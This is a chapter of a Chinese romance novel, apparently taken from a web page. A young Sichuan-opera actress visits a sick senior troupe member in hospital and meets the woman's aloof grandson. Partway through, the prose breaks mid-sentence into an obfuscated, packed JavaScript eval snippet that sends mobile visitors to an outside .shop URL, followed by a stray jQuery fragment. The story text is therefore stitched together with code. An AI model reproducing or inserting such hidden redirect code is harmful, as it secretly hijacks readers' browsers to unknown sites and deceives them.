已经是傍晚了,晚风吹进剧场的院子里,带着光秃秃的树枝唰唰作响。
安漾刚演完《皮金滚灯》,身上只穿着一件单薄的戏服,就这么被突如其来的妖风冻得一个激灵,小跑回了化妆间。
她妈妈任姿女士待会儿还要演下一场,现在早就换好了戏服,正坐在边上玩手机。
“卸了妆就赶快过去,不要磨蹭。”任姿听见开门的动静,从手机上抬起头来,指指桌面上的果篮,“把这个一起带去。”
“好。”
她麻利地对镜卸妆,任姿撑着下巴看着镜子里的女儿,颇为得意地感慨道:“我的基因还是不错的。”
安漾笑着附和一声,脸上夸张的油彩已经脱落,未加修饰过的五官清丽明媚,羽睫簇拥着新月似的眼睛,笑时嘴角露出浅浅的梨涡,是一种很容易被读懂的漂亮。
“江奶奶的身体不是一直都挺好的吗?我上次回来还看她演了白素贞。”
安漾刚用清水洗过脸,扯了张洗脸巾擦干水珠,从镜子里与任姿对视。
“哎哟,年纪大了嘛,她都是你爷爷那一辈的人了,能演到现在也不容易。”任姿叹了口气,话锋一转:“你的面试准备得怎么样了。”
她收回眼神,说这话时不敢再看任姿,“马马虎虎。”
安漾刚从戏曲学院毕业不久,最近一直在忙着备考省川剧团,这次来自家的川剧团演出纯属是为了救场。
副团长江奶奶生病住院,团里本就人丁稀少,一时间竟找不出合适的替补演员,只好让她这个无业游民临时顶上。
安家再往上数三代,全部都是川剧演员。闻景川剧团就是从她太爷爷那会儿办起来的。
到了安漾这一代,她本以为自己会继续留在闻景,但任姿一心想让她拿个铁饭碗,劝她去考省剧团。
安漾自己倒无所谓,“在哪里演不是演。”
“那不一样。”任姿可听不得这种话,她从沙发上站起来,“你是我的女儿,我肯定希望你有个稳定的工作,别哪天饿死街头了。”
她胡乱地点头。
自打她答应了要考省剧团,任姿隔三差五就要把这话拿出来说几遍,她都听得累了。
化妆间里沉默半晌,任姿又道:“说不定我以后也和江奶奶一样,到时候闻景就关门大吉喽。”
平静无波的语气,但安漾平白听出了些伤感。
她去换衣服,经过任姿面前时牵动嘴角,似是在自言自语:“一天天的净瞎说。”
音量很小,但任姿还是听见了,笑着拍了一下她的后背,“没大没小。”
天色暗下来了,夜里有些冷。安漾套了件足够厚实的外套,把拉链拉到顶,拎果篮出门。
“有点晚了,打车过去。”任姿嘱咐。
她说好,然后把门重重一关,去骑自己的摩托车。
夏天结束后,景城的气温断崖式下跌。
这座城市是没有秋天的。
好在她穿得够多,又戴了个全包裹式的头盔,全身上下都遮得严严实实,风刮得再狠也没有感觉。
江奶奶住院也是拜这低温所赐。上星期演出受了冷,当晚就心前憋痛。
安漾一家和江奶奶住一个小区,帮忙送去医院挂了个急诊,这才得知是冠心病。
这一病又带出并发症,演出紧急叫停。江奶奶在医院连住几天,外地的子女双双飞回来守在床前,光看这架势也能猜出病情不容乐观。
医院离剧场不远,安漾骑车十几分钟就到,径直到住院部大楼。
等电梯的空档,她才想起忘了问江奶奶住几楼,给任姿发消息。
任姿发来一个白眼的emoji:【没心眼的,这都能忘。】
她不服:【你不也忘了告诉我吗?】
任姿:【6。】
安漾当即狗腿地恭维:【妈你还怪潮的,网没白上。】
聊天界面上方,“妈妈”的备注跳成“对方正在输入”,等了许久,任姿终于发来了新消息:【......我是说江奶奶住6楼。】
安漾笑容凝固,老实闭嘴。
她关上手机,抬头盯着电梯屏幕上的红色数字不断跳转,眼前的光线蓦地暗下来。
夜晚,医院的人流量不比白天多,出于节能的考虑,电梯口特地关了两盏灯。
她微微别过头,看向刚站在自己身边的男人,高大的身材让本就不明亮的光线雪上加霜。
感觉到她的目光,他侧目看了她一眼
安漾偷看被抓了个正着,默默低头。
正是晚饭的时间,各间病房里饭菜的香味飘进走廊,盖过消毒水的气味。
她狠狠吸了吸鼻子,打算待会儿偷摸加个餐:
距离省剧团面试的日子不远了,任姿最近盯她跟盯犯人似的,一到晚上恨不得把厨房冰箱全部上锁。
原本倒也没什么,但今天演了一下午的戏,她肚子饿得咕咕叫。
这声异响在寂静的空间里格外明显,她原本就低下的头彻底抬不起来了。
好在电梯终于来了,她此地无银般干咳了两声,和身边的男人一前一后进去。
他按了楼层,朝她看过来。
“我也是六楼,谢谢。”
安漾抬眼望去,两人的目光短暂交汇一瞬。
男人的面部轮廓硬朗,高鼻深目,尽管眉宇间透着几分疲惫,却依旧带着生人勿近的气场。
恍惚间觉得有些眼熟,她在脑中检索了好几遍也没得出个结果,想多看几眼又自觉失礼,只好皱着眉头将视线下移。
一身深色系穿搭的男人,手上却提着一个玫粉色的饭盒。
安漾垂头,为这反差兀自笑了一下。
电梯行至六楼,她没再多想,跟在他身后出去了。
住院部大楼的内部是回廊式的设计,安漾第一次来,绕了一圈才找到病房的位置。
她确认了一遍病房号,抬手敲门。
男人的外套还搭在小臂上,内搭的黑色衬衫修饰紧实有力的腰身。
是刚才电梯里的人。
两个人皆是一愣,安漾又看了一眼病房号,确认自己没走错,迟疑片刻道:“请问江奶奶是住这件病房吗?”
对方的黑眸在她脸上一扫,没有说话。
她把果篮拎高,表明来意:“我是闻景的演员。江奶奶病了大家都很担心,但是还有其他演出要忙,我代表其他人来探望。”
他颔首,放她进来。
“呀,漾漾怎么来了?”江奶奶原本正看电视,见有人来了,眯着眼睛辨认了好一会儿,等她走近了才认出来:“任姿说这几天都是你在演,辛苦你了。”
“不辛苦不辛苦。”安漾笑得眉眼弯弯,把果篮放在桌上,“我妈本来也想来的,但是今天晚上还有一场,我就替她来陪陪你。”
闻景川剧团的团长是她妈妈任姿,但副团长江奶奶资历深厚德高望重,更是团里的灵魂人物。
江奶奶的儿女都不在景城,平时有个小病小痛都是安家在帮忙。安漾从小就爱和她待在一起,关系好得跟一家人没差。
“这是我外孙,傅栩。”江奶奶抬手一指,“他跟他爸妈平时都在明京,一听说我生病就全回来了。”
傅栩刚打开那个玫粉色的饭盒,听见自己的名字后动作一顿,朝她点头致意。
幽深的眸中没有任何情绪,像一潭未知深浅的池水,带着不可预知的危险。
安漾勉强地勾唇,回以礼貌的微笑。
“我说哪里用得着这么麻烦,住几天院不就好了嘛。”江奶奶虽是抱怨,话里却有藏不住的笑意:“唉,回来陪陪我也好。他也是个没良心的,平时都忙着工作,一年到头都见不到几次。”
傅栩在一旁静静听着,把病床上的小桌升上来,端上饭菜。
出于江奶奶的身体考虑,桌上的都是些清淡小菜。
安漾作为地道的景城人,原本是无辣不欢的。但这菠菜枸杞玉米
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110804|149765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
粥炖得软烂浓稠,香味直往她鼻子里钻。
“漾漾吃晚饭了吗,要不要一起吃点?”江奶奶察觉到她落在桌上的视线。
安漾的确已经很饿了,但抢病人的晚饭这事多少有点不像话。
“没事,我不饿。”
闻言,一直没说话的傅栩突然轻咳一声。
她想起不久前在电梯口,她的肚子刚鸣过冤,他就在旁边。
一时有点心虚,她硬着头皮解释:“省川剧团快要面试了,我最近不吃晚饭。”
提起省剧团,江奶奶把手里的筷子放下了。
她看看安漾,无奈道:“确定要去省剧团了吗?”
安漾耸耸肩,开玩笑的语气:“我妈都给我做了那么久思想工作了,我要不去估计得被扫地出门。”
“现在闻景日子不好过,你进省剧团也好。”江奶奶完全理解任姿的决定。
安漾一愣,不太明白江奶奶的意思。
她小时候几乎天天都待在剧团,看着江奶奶领一帮人演川剧。直到几年前,她考上戏曲学院,连回家的时间都少了许多,任姿也有意不让她掺和闻景的事。
这几天她补江奶奶的缺,去剧团的时间比过去一年加起来都要多。
见她一脸茫然,江奶奶也不再说下去,只是拉过她的手,语重心长地嘱咐她:“不管在哪里都要好好演。”
病房里的气氛突然沉重起来,安漾敏锐觉出异常,转移话题:“我明天要演《人间好》了。”
“小时候就喜欢看我演这个,终于自己也能演了。”江奶奶拍拍安漾的手背,惋惜道:“可惜我不能去看。”
开着空调的室内,她苍老起皱的手却还是冰凉。
安漾反握住她的手,想给她传递一点温度,“没关系,我录个视频,明天带来给你看 。”
江奶奶被她哄得开心,两人又接着聊了一些演出的事。直到江奶奶的儿子过来换班,安漾才注意到时间不早了,准备离开。
“傅栩,你跟漾漾一起回去。”江奶奶冲着沙发上的人说:“漾漾一个女孩子,这么晚了不安全,你把她送到楼下。”
傅栩看她一眼,“知道了。”
安漾其实不怎么想让他送,她自己有车,又跟傅栩不熟,路上指不定多尴尬。
但江奶奶一番好意,她没好意思拒绝。
一路沉默,安漾等到进了电梯才说话:“你不用特地送我,我有车。”
“不是特地。”傅栩和她一人站一个电梯角落,杵在门口,跟俩门神似的。
安漾不解。
“我住外婆家,和你一个小区,顺路。”
重点是顺不顺路吗?安漾为他的阅读理解能力捏了把汗,耐着性子解释:“我的意思是,我有车,不用你送我。”
电梯到达一楼,傅栩抬眼,“那你送送我?”
她脚步顿住,脸上的表情僵硬,“你确定要坐我的车?”
“如果你愿意的话。”
安漾沉了口气,她如果说不愿意,是不是有点不给人面子?
“好,你跟我走。”
她的车停在医院外,拧一下钥匙,摩托车雪白的车灯唰地亮起。
“坐吗?”安漾靠在车边,拍拍自己的后座。
街边的路灯一排排亮着,橙黄色的灯光打在傅栩的脸上,本就深邃的五官更加立体。
傅栩望着眼前线条流畅造型奇特的黑色机车,拧眉,“算了,我自己打车。”
安漾本就不打算送他,但这人打量她车时的眼神着实让人不爽。
她从边包里取出一个旧头盔,扔给他,“戴上,我送你。”
傅栩下意识地接住,原本就拧紧的眉头在看见头盔上的两只猫耳后,立马变成了死结。
两人在路边僵持了几分钟,最后以傅栩绝望闭眼,戴上猫耳头盔告终。
“这是头盔,不是炸药。”
安漾瞥见他视死如归的表情,在夜色的遮掩下笑了。